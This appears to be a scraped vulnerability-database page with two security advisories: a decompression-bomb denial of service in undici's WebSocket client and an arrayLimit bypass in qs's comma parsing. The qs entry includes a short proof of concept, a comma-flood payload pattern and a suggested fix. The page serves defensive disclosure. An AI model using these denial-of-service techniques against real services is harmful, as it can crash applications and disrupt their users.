"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1526"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:56Z",
"nvd_published_at": "2026-03-12T21:16:23Z",
"severity": "HIGH"
},
"details": "## Description\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a \"decompression bomb\") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.\n\nThe vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.\n\n## Impact\n\n- Remote denial of service against any Node.js application using undici\u0027s WebSocket client\n- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more\n- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits\n- No application-level mitigation is possible as decompression occurs before message delivery\n\n### Patches\n\nUsers should upgrade to fixed versions.\n\n### Workarounds\n\nNo workaround are possible.",
"id": "GHSA-vrm6-8vpv-qv8q",
"modified": "2026-03-13T20:41:56Z",
"published": "2026-03-13T20:41:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1526"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3481206"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7692"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/Denial_of_Service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression"
}
GHSA-W7FW-MJWX-W883
Vulnerability from github – Published: 2026-02-12 17:04 – Updated: 2026-02-12 20:07
VLAI
Summary
qs's arrayLimit bypass in comma parsing allows denial of service
Details
Summary
The arrayLimit option in qs does not enforce limits for comma-separated values when comma: true is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).
Details
When the comma option is set to true (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., ?param=a,b,c becomes ['a', 'b', 'c']). However, the limit check for arrayLimit (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in parseArrayValue, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.
Vulnerable code (lib/parse.js: lines ~40-50):
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
return val.split(',');
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
The split(',') returns the array immediately, skipping the subsequent limit check. Downstream merging via utils.combine does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., ?param=,,,,,,,,...), allocating massive arrays in memory without triggering limits. It bypasses the intent of arrayLimit, which is enforced correctly for indexed (a[0]=) and bracket (a[]=) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).
PoC
Test 1 - Basic bypass:
npm install qs
const qs = require('qs');
const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)
const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };
try {
const result = qs.parse(payload, options);
console.log(result.a.length); // Outputs: 26 (bypass successful)
} catch (e) {
console.log('Limit enforced:', e.message); // Not thrown
}
Configuration:
- comma: true
- arrayLimit: 5
- throwOnLimitExceeded: true
Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26.
Impact
Denial of Service (DoS) via memory exhaustion.
Suggested Fix
Move the arrayLimit check before the comma split in parseArrayValue, and enforce it on the resulting array length. Use currentArrayLength (already calculated upstream) for consistency with bracket notation fixes.
Current code (lib/parse.js: lines ~40-50):
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
return val.split(',');
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
Fixed code:
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
const splitArray = val.split(',');
if (splitArray.length > options.arrayLimit - currentArrayLength) { // Check against remaining limit
if (options.throwOnLimitExceeded) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
} else {
// Optionally convert to object or truncate, per README
return splitArray.slice(0, options.arrayLimit - currentArrayLength);
}
}
return splitArray;
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
This aligns behavior with indexed and bracket notations, reuses currentArrayLength, and respects throwOnLimitExceeded. Update README to note the consistent enforcement.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.14.1"
},
"package": {
"ecosystem": "npm",
"name": "qs"
},
"ranges": [
{
"events": [
{
"introduced": "6.7.0"
},
{
"fixed": "6.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2391"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-12T17:04:39Z",
"nvd_published_at": "2026-02-12T05:17:11Z",
"severity": "LOW"
},
"details": "### Summary\nThe `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).\n\n### Details\nWhen the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `[\u0027a\u0027, \u0027b\u0027, \u0027c\u0027]`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.\n\n**Vulnerable code** (lib/parse.js: lines ~40-50):\n```js\nif (val \u0026\u0026 typeof val === \u0027string\u0027 \u0026\u0026 options.comma \u0026\u0026 val.indexOf(\u0027,\u0027) \u003e -1) {\n return val.split(\u0027,\u0027);\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n}\n\nreturn val;\n```\nThe `split(\u0027,\u0027)` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).\n\n### PoC\n**Test 1 - Basic bypass:**\n```\nnpm install qs\n```\n\n```js\nconst qs = require(\u0027qs\u0027);\n\nconst payload = \u0027a=\u0027 + \u0027,\u0027.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\n\ntry {\n const result = qs.parse(payload, options);\n console.log(result.a.length); // Outputs: 26 (bypass successful)\n} catch (e) {\n console.log(\u0027Limit enforced:\u0027, e.message); // Not thrown\n}\n```\n**Configuration:**\n- `comma: true`\n- `arrayLimit: 5`\n- `throwOnLimitExceeded: true`\n\nExpected: Throws \"Array limit exceeded\" error.\nActual: Parses successfully, creating an array of length 26.\n\n\n### Impact\nDenial of Service (DoS) via memory exhaustion.\n\n### Suggested Fix\nMove the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes.\n\n**Current code** (lib/parse.js: lines ~40-50):\n```js\nif (val \u0026\u0026 typeof val === \u0027string\u0027 \u0026\u0026 options.comma \u0026\u0026 val.indexOf(\u0027,\u0027) \u003e -1) {\n return val.split(\u0027,\u0027);\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n}\n\nreturn val;\n```\n\n**Fixed code:**\n```js\nif (val \u0026\u0026 typeof val === \u0027string\u0027 \u0026\u0026 options.comma \u0026\u0026 val.indexOf(\u0027,\u0027) \u003e -1) {\n const splitArray = val.split(\u0027,\u0027);\n if (splitArray.length \u003e options.arrayLimit - currentArrayLength) { // Check against remaining limit\n if (options.throwOnLimitExceeded) {\n throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n } else {\n // Optionally convert to object or truncate, per README\n return splitArray.slice(0, options.arrayLimit - currentArrayLength);\n }\n }\n return splitArray;\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n}\n\nreturn val;\n```\nThis aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.",
"id": "GHSA-w7fw-mjwx-w883",
"modified": "2026-02-12T20:07:59Z",
"published": "2026-02-12T17:04:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2391"
},
{
"type": "WEB",
"url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482"
},
{
"type": "PACKAGE",
"url": "https://github.com/ljharb/qs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "qs\u0027s arrayLimit bypass in comma parsing allows denial of service"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…